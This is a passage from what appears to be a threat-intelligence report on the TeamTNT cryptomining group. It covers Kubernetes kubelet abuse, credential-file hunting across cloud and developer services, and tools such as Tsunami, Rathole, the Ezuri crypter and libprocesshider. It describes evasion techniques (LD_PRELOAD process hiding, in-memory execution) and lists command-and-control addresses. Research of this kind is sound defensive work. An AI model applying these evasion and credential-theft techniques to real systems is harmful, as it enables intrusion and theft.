&lt;strong&gt;libprocesshider&lt;/strong&gt;. The tool is used to hide processes using &lt;code&gt;LD_PRELOAD&lt;/code&gt;. The
shared object was written to &lt;code&gt;/usr/local/lib/systemhealt.so&lt;/code&gt; by the setup script
and directives were added to &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; to allow the shared object to
be loaded with every file that is executed. TeamTNT used libprocesshider to hide
their Tsunami bot on infected machines.&lt;/p&gt;
&lt;h2&gt;Attacking Kubernetes&lt;span class="hx:absolute hx:-mt-20" id="attacking-kubernetes"&gt;&lt;/span&gt;
&lt;a href="#attacking-kubernetes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The use of LD_PRELOAD to hide itself was spotted in another campaign of the
group, this time targeting exposed Kuberentes instances. Each Kubernetes node
has a running agent called kubelet which takes RESTful requests and performs
operations on the pods accordingly. The default configuration of standard
Kubernetes deployments allow anonymous access to kubelet. TeamTNT used this
misconfiguration to gain access to exposed Kubernetes instances and run
cryptomining malware in the containers.&lt;/p&gt;
&lt;p&gt;This campaign was reported by &lt;a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"target="_blank" rel="noopener"&gt;Palo Alto Networks&lt;/a&gt; who described a new malware called &lt;strong&gt;Hildegard&lt;/strong&gt; that was first seen in this campaign. In this campaign there was no use of
container images. The malicious functionality was carried out using a reverse
shell and abusing containers that were already running.&lt;/p&gt;
&lt;p&gt;Finding containers and nodes that could be attacked was accomplished by two
tools: masscan (a tool that was described in the previous section) and kubelet.
To evade detection this campaign uses LD_PRELOAD as described in the previous
section and it deletes the scripts immediately after their execution.&lt;/p&gt;
&lt;p&gt;The campaign dropped two files: &lt;a href="https://github.com/inguardians/peirates"target="_blank" rel="noopener"&gt;Peirates&lt;/a&gt;, a penetration tool for Kubernetes that
steals cluster credentials, and &lt;a href="https://github.com/brompwnie/botb"target="_blank" rel="noopener"&gt;BOtB&lt;/a&gt;, a tool for performing a container breakout
using known vulnerabilities.&lt;/p&gt;
&lt;p&gt;To establish a connection with the Command and control (C2) server the malware
used &lt;strong&gt;tmate&lt;/strong&gt; or the &lt;a href="https://analyze.intezer.com/files/74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Tsunami bot&lt;/a&gt;. It is unclear how the group decides which tool to
use.&lt;/p&gt;
&lt;p&gt;In this campaign the Tsunami bot was packed using Ezuri in an attempt to evade
detection. The process name of the bot was set to &amp;lsquo;bioset&amp;rsquo; to masquerade as a
legitimate process. This process name was used by the group in previous
campaigns.&lt;/p&gt;
&lt;h2&gt;Windows Targeting Attempt?&lt;span class="hx:absolute hx:-mt-20" id="windows-targeting-attempt"&gt;&lt;/span&gt;
&lt;a href="#windows-targeting-attempt" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While investigating TeamTNT&amp;rsquo;s infrastructure, we noticed that two Windows PE
files had been downloaded from one of the domain names according to VirusTotal.
A screenshot from VirusTotal is shown in Figure 47.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig49.png" title="Figure 47: Windows binaries downloaded from TeamTNT&amp;#39;s infrastructure in February 2021." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 47: Windows binaries downloaded from TeamTNT&amp;#39;s infrastructure in February 2021.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first file, &lt;code&gt;sniffer.exe&lt;/code&gt;, is a compiled &lt;strong&gt;AutoIt&lt;/strong&gt; script. A part of the script is shown in Figure 48. The script downloads &lt;strong&gt;WinPcap&lt;/strong&gt; and tries to steal sensitive data from network traffic. It looks for keywords of usernames, passwords, credit card information, cookies, etc.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig50.png" title="Figure 48: Part of AutoIT script that uses WinPcap to steal sensitive data transferred over the network." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 48: Part of AutoIT script that uses WinPcap to steal sensitive data transferred over the network.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The second file, &lt;code&gt;svchost2.exe&lt;/code&gt;, runs an XMRig Miner. A code reuse analysis of the file is shown in Figure 49. The file &amp;ldquo;installs&amp;rdquo; itself to the user&amp;rsquo;s home folder as the file name &lt;code&gt;notepad.exe&lt;/code&gt;. The mining software is compiled with &lt;strong&gt;CUDA&lt;/strong&gt; support to take advantage of a NVIDIA graphics card that might be available on the compromised machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig51.png" title="Figure 49: Code reuse analysis of svchost2.exe shows that the file executes a XMRig Miner." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 49: Code reuse analysis of svchost2.exe shows that the file executes a XMRig Miner.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;While we were not able to attribute these files to a campaign, the files are aligned with TeamTNT&amp;rsquo;s TTPs. Since the first campaign in this report, the threat actor has been stealing credentials and installing cryptominers on servers. It is possible the threat actor was just testing against a new target type, never manifesting into a full-fledged campaign.&lt;/p&gt;
&lt;p&gt;When the cryptominer is executed, it drops a driver to the user&amp;rsquo;s
&lt;strong&gt;AppDataRoamingWinCFGLibs&lt;/strong&gt; folder. From gene analysis, this driver was
identified as WinRing0x64 from &lt;strong&gt;OpenLibSys&lt;/strong&gt;. The driver allows user space
applications to access ring 0, essentially giving the process unfettered access.
This driver is part of &lt;a href="https://xmrig.com/docs/miner/randomx-optimization-guide/msr"target="_blank" rel="noopener"&gt;XMRig for Windows&lt;/a&gt;. The miner uses the driver to access MSR registers to
improve the mining performance. While the driver is part of a legitimate
application, it does provide a loophole that can be used to bypass a trust
boundary.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig52.jpeg" title="Figure 50: Analysis of WinRing0x64 driver installed by the XMRig Miner." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 50: Analysis of WinRing0x64 driver installed by the XMRig Miner.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Frühling 2021 (Spring 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-frühling-2021-spring-2021"&gt;&lt;/span&gt;
&lt;a href="#der-fr%c3%bchling-2021-spring-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;During the Spring of 2021, TeamTNT expanded their credential stealing. In a shell script found by &lt;a href="https://www.trendmicro.com/en_gb/research/21/e/teamtnt-extended-credential-harvester-targets-cloud-services-other-software.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, the threat actor had expanded their search to the following applications and services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSH&lt;/li&gt;
&lt;li&gt;AWS&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;S3&lt;/li&gt;
&lt;li&gt;GitHub&lt;/li&gt;
&lt;li&gt;Shodan&lt;/li&gt;
&lt;li&gt;Google Cloud&lt;/li&gt;
&lt;li&gt;Ngrok&lt;/li&gt;
&lt;li&gt;Pidgin&lt;/li&gt;
&lt;li&gt;FileZilla&lt;/li&gt;
&lt;li&gt;HexChat&lt;/li&gt;
&lt;li&gt;MoneroGuiWallet&lt;/li&gt;
&lt;li&gt;CloudFlared&lt;/li&gt;
&lt;li&gt;Davfs2&lt;/li&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The script, shown in Figure 51, searches for the files but does not exfiltrate
the data. It&amp;rsquo;s not known if and how TeamTNT exfiltrated the identified files as
part of the campaign.&lt;/p&gt;
&lt;p&gt;In addition to the credential search, the threat actor also started to enumerate
data from the cloud environment that it was running on. Figure 52 shows a
snippet of the script &lt;code&gt;grab_aws_data.sh&lt;/code&gt; that uses AWS CLI to extract data.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig53.png" title="Figure 51: Script by TeamTNT searches for files that normally hold credentials." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 51: Script by TeamTNT searches for files that normally hold credentials.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;According to &lt;a href="https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, close to 50,000 IP addresses running &lt;strong&gt;Kubernetes&lt;/strong&gt; were compromised between March and May of 2021. The majority of the machines were located in China. The machines are predominantly hosted by cloud providers. This distribution is similar to what Lacework Labs reported in January the same year but with a much larger volume.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig54.png" title="Figure 52: Snippet of a script that uses AWS CLI to enumerate data from AWS." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 52: Snippet of a script that uses AWS CLI to enumerate data from AWS.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Sommer 2021 (Summer 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-sommer-2021-summer-2021"&gt;&lt;/span&gt;
&lt;a href="#der-sommer-2021-summer-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;During the Summer of 2021, TeamTNT continued to target unsecured Docker and
Kubernetes servers. Due to other threat actors using some of TeamTNT&amp;rsquo;s scripts
during the Spring of 2021, TeamTNT added some new ways to identify their
scripts. The threat actor announced the changes on their Twitter account as can
be seen in Figure 53.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig55.png" title="Figure 53: TeamTNT announces via their Twitter account that all scripts from now on are tagged to ensure correct attribution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 53: TeamTNT announces via their Twitter account that all scripts from now on are tagged to ensure correct attribution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Figure 54 shows the first few lines of a script file that was used during the campaign. The file includes the information that the threat actor claimed would be added. Further down in the file is a URL from where the script was downloaded from.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig56.png" title="Figure 54: First few lines in the script file used during Summer 2021." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 54: First few lines in the script file used during Summer 2021.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TeamTNT also stated on their Twitter that they were going to be more &amp;ldquo;transparent&amp;rdquo; about their ongoing campaigns. As part of the Tweet, they included a link to a &amp;ldquo;beta dashboard.&amp;rdquo; Figure 55 is a screenshot of the dashboard. From the dashboard, it can be seen that the &amp;ldquo;Chimaera&amp;rdquo; campaign started on July 25, 2021 and vulnerable Docker, Kubernetes and WeaveScope services were being targeted.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig57.png" title="Figure 55: Screenshot of Chimaera dashboard." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 55: Screenshot of Chimaera dashboard.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As in previous campaigns targeting vulnerable Docker instances, the use of masscan/pnscan with zgrab was used in the Summer to find the instances. Figure 56 shows the payload executed on the vulnerable machines. First, it tells Docker to download an &lt;strong&gt;alpine&lt;/strong&gt; image that downloads the scanning script and infects the machine with a miner. In addition, a WeaveScope probe is installed on the machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig58.png" title="Figure 56: Function in the scanner script that exploits insecure Docker services." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 56: Function in the scanner script that exploits insecure Docker services.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TeamTNT also made some changes to the wallet. Instead of having the wallet address hard-coded in the script, the threat actor added functionality that allows for rotating the address without changing the scripts. Figure 57 shows how the script fetches the latest wallet from the threat actor&amp;rsquo;s server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig59.png" title="Figure 57: Added functionality to download the most recent wallet. If the request fails, a hard-coded backup address is used." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 57: Added functionality to download the most recent wallet. If the request fails, a hard-coded backup address is used.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Soziale Aktivität (Social Media Activity)&lt;span class="hx:absolute hx:-mt-20" id="soziale-aktivität-social-media-activity"&gt;&lt;/span&gt;
&lt;a href="#soziale-aktivit%c3%a4t-social-media-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;For being a threat actor, TeamTNT maintains a public persona on Twitter. The
Twitter account @HildeTNT, shown in Figure 58, was created in August 2020. The
first campaign of the threat actor was reported in May 2020, while we have
identified some activity dating back to October 2019. The account was created
during the Summer of 2020 when many reports covering the actor&amp;rsquo;s activity were
published. Based on the information provided in the profile their region is
Germany.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig60.png" title="Figure 58: Screenshot of TeamTNT&amp;#39;s Twitter profile." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 58: Screenshot of TeamTNT&amp;#39;s Twitter profile.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the graph presented in Figure 59, the threat actor is active on Twitter during all hours of the day. The data presented in the figure has been adjusted to UTC time zone. If we assume TeamTNT is based in a European time zone, we can conclude that the &amp;ldquo;spike&amp;rdquo; in number of tweets corresponds from late afternoon until evening time in Europe.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig61.png" title="Figure 59: A graph showing the correlation between hours of the day (in UTC) and number of tweets." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 59: A graph showing the correlation between hours of the day (in UTC) and number of tweets.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Plotting the activity on a timeline we can see when the threat actor has been
most active and any potential downtimes. In Figure 60 we can see that the most
socially active period was from the middle of January 2021 until the middle of
May 2021. There is a less active period at the end of 2020 which correlates to
the Christmas holidays and New Year. It appears as the activity might be slowing
down.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig62.png" title="Figure 60: A graph showing the correlation between hours of the day (in UTC) and number of tweets." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 60: A graph showing the correlation between hours of the day (in UTC) and number of tweets.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Most of TeamTNT&amp;rsquo;s tweets are in German and the content varies from commenting on
political subjects and current affairs (like COVID-19 vaccination), to
discussing their activities and replying to researchers that post content
related to the group. Figure 61 shows their response to a Trend Micro report.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig63.png" title="Figure 61: Tweet by TeamTNT replying to a research article made about them. Translated from German." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 61: Tweet by TeamTNT replying to a research article made about them. Translated from German.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Copycat&lt;span class="hx:absolute hx:-mt-20" id="copycat"&gt;&lt;/span&gt;
&lt;a href="#copycat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In March 2021, TeamTNT replied to a tweet (later deleted) pointing out that
someone else was using their tools and an attack was falsely attributed to the
group. According to TeamTNT, the scripts used by the copycat were at least six
months old.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig64.png" title="Figure 62: A reply by TeamTNT to another user on Twitter. Translated from German." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 62: A reply by TeamTNT to another user on Twitter. Translated from German.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In June, Palo Alto Networks&amp;rsquo; Unit 42 released a report that attributed TeamTNT
to a campaign in which appeared to contain a number of scripts and tools that
implemented similar techniques to those used by another cryptojacking group, yet
had a number of differences in implementation and usage. TeamTNT replied to the
author of the blog in a series of tweets claiming that it was not a campaign and
tools used by them but rather by someone else. They shared part of the script
they own and use in their current campaigns in order to prove their point. The
script (Figure 64) was hosted on their site teamtnt[.]red/blog/Kubernetes.txt.&lt;/p&gt;
&lt;p&gt;The group responded to other tweets that mentioned this blog, saying: &amp;ldquo;Das ist
KEINE TeamTNT Kampagne!&amp;rdquo; (from German: &amp;ldquo;This is NOT a TeamTNT campaign!&amp;rdquo;). The
threat actor has a history of commenting on previous reports documenting their
activity. Sometimes they retweet the links to the report or comment on
statements. They haven&amp;rsquo;t refuted previous campaigns which suggests that they
want to take credit for their activity. Based on their previous behavior, we
assess that the refuted campaign is not by TeamTNT and instead by an imitator.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig65.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Figure 63: TeamTNT&amp;rsquo;s reply to Palo Alto&amp;rsquo;s research from June 2021.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig66.png" title="Figure 64: Script shared by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 64: Script shared by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Werkzeuge (Tools)&lt;span class="hx:absolute hx:-mt-20" id="werkzeuge-tools"&gt;&lt;/span&gt;
&lt;a href="#werkzeuge-tools" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Tsunami (Kaiten)&lt;span class="hx:absolute hx:-mt-20" id="tsunami-kaiten"&gt;&lt;/span&gt;
&lt;a href="#tsunami-kaiten" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;TeamTNT uses an IRC bot malware known as &lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami"target="_blank" rel="noopener"&gt;Tsunami&lt;/a&gt;. Figure 65 shows the code reuse
analysis of the bot used in the first set of campaigns. Tsunami allows the
operator to perform DDoS attacks against targets or execute commands on the
infected machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig67.png" title="Figure 65: Code reuse analysis of a Tsunami sample used by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 65: Code reuse analysis of a Tsunami sample used by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The source code for the bot was published in 2014. A forked and updated version
called &lt;strong&gt;ziggystartux&lt;/strong&gt; is available on GitHub. Figure 66 shows the GitHub
repository for the project.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig68.png" title="Figure 66: GitHub repository of ZiggyStarTux." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 66: GitHub repository of ZiggyStarTux.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The bot used by TeamTNT does not appear to have been compiled from this code. Instead it appears to have been compiled from an earlier version. There &lt;a href="https://github.com/search?l=C&amp;amp;p=1&amp;amp;q=%22NOTICE&amp;#43;%25s&amp;#43;%3AKaiten&amp;#43;wa&amp;#43;goraku%22&amp;amp;type=Code"target="_blank" rel="noopener"&gt;are multiple&lt;/a&gt; repositories in GitHub hosting the original published code. All of these have the bot version string found in the binary used by TeamTNT, as well as support for the same commands. The commands supported by the bot are shown in the code snippets below.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig69.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;TeamTNT&amp;rsquo;s Configuration&lt;span class="hx:absolute hx:-mt-20" id="teamtnts-configuration"&gt;&lt;/span&gt;
&lt;a href="#teamtnts-configuration" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As can be seen in Figure 67, the bot is setting a &amp;ldquo;fake&amp;rdquo; application name to
&lt;strong&gt;kthreadd&lt;/strong&gt;, masquerading as a kernel thread.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig70.png" title="Figure 67: Changing the name of the process to kthreadd." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 67: Changing the name of the process to kthreadd.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The bot has two servers in its configuration. The servers are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;111.230.15.240&lt;/li&gt;
&lt;li&gt;Teamtnt.twilightparadox.com&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Rathole&lt;span class="hx:absolute hx:-mt-20" id="rathole"&gt;&lt;/span&gt;
&lt;a href="#rathole" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/IncSTK/rathole"target="_blank" rel="noopener"&gt;Rathole&lt;/a&gt; is an open-source Unix backdoor with its code hosted on GitHub (Figure 68).
A code reuse analysis is shown in Figure 69. The backdoor can be compiled on
standard Linux distributions, it supports blowfish encryption, process name
hiding and preferable shell.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig71.png" title="Figure 68: GitHub repository hosting the Rathole backdoor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 68: GitHub repository hosting the Rathole backdoor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig72.png" title="Figure 69: Code reuse analysis of Rathole binary used by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 69: Code reuse analysis of Rathole binary used by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The difference between the source and the binary is that the string &amp;rsquo;teamtnt&amp;rsquo; is
added to the encryption and decryption routine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig73.png" title="Figure 70: Screenshot showing the encryption key used by the backdoor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 70: Screenshot showing the encryption key used by the backdoor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file was first submitted to VirusTotal on October 6, 2019, before the first recorded evidence of TeamTNT&amp;rsquo;s activity.&lt;/p&gt;
&lt;h3&gt;Ezuri&lt;span class="hx:absolute hx:-mt-20" id="ezuri"&gt;&lt;/span&gt;
&lt;a href="#ezuri" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ezuri is an open-source ELF crypter. The project is hosted on GitHub. Figure 71
shows a screenshot of the GitHub repository.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig74.png" title="Figure 71: GitHub repository of Ezuri crypter hosted on GitHub." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 71: GitHub repository of Ezuri crypter hosted on GitHub.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The crypter uses AES in Cipher Feedback (CFB) mode to encrypt the payload. When the crypter is executed, the payload is decrypted and executed from memory. Figure 72 shows the &lt;strong&gt;main&lt;/strong&gt; and decryption function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig75.png" title="Figure 72: Ezuri&amp;#39;s main function and decryption logic." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 72: Ezuri&amp;#39;s main function and decryption logic.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Figure 73 shows the &lt;strong&gt;runFromMemory&lt;/strong&gt; function. The execution from memory is achieved by first creating a memory file via the Linux syscall &lt;code&gt;memfd_create&lt;/code&gt;. The decrypted content is written to the memory file. Following this, the process is forked and the spawned child executes the memory file via the &lt;strong&gt;execve&lt;/strong&gt; syscall.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig76.png" title="Figure 73: Source code of the function that executes the decrypted payload from within memory." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 73: Source code of the function that executes the decrypted payload from within memory.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Punk.py&lt;span class="hx:absolute hx:-mt-20" id="punkpy"&gt;&lt;/span&gt;
&lt;a href="#punkpy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Punk.py is a post-exploitation tool for Unix systems written by Giuseppe Corti.
It&amp;rsquo;s open-source and hosted on &lt;a href="https://github.com/r3vn/punk.py"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. Figure 74 shows a screenshot of the GitHub
repository. It uses credentials found on the exploited host to try to access
other machines that are part of the SSH &lt;code&gt;known_hosts&lt;/code&gt; database. It has the
ability to execute a command on all machines that it manages to log into.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig77.png" title="Figure 74: GitHub repository for punk." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 74: GitHub repository for punk.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;libprocesshider&lt;span class="hx:absolute hx:-mt-20" id="libprocesshider"&gt;&lt;/span&gt;
&lt;a href="#libprocesshider" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The libprocesshider is a source code-available project on GitHub. A screenshot
of the repository is shown in Figure 75. The project is compiled as a shared
object. If it is loaded using &lt;code&gt;LD_PRELOAD&lt;/code&gt; it &amp;ldquo;hooks&amp;rdquo; some &lt;strong&gt;libc&lt;/strong&gt; functions
which allows the library to hide a process from commands like &lt;strong&gt;ps&lt;/strong&gt;, &lt;strong&gt;lsof&lt;/strong&gt;,
and &lt;strong&gt;top&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig78.png" title="Figure 75: GitHub repository for libproccesshider." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 75: GitHub repository for libproccesshider.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;tmate&lt;span class="hx:absolute hx:-mt-20" id="tmate"&gt;&lt;/span&gt;
&lt;a href="#tmate" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://tmate.io/"target="_blank" rel="noopener"&gt;Tmate&lt;/a&gt; is an open-source tool that provides an easy and secure way to share the
terminal. It establishes a secure connection over SSH to the tmate.io website
and generates a random URL for each session. The user can share the URL with
other trusted users. Tmate supports all popular operating systems, including
GNU/Linux, &lt;a href="https://intezer.com/blog/alert-triage/macos-automated-triage-with-intezer/?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;macOS&lt;/a&gt;, and BSD systems.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
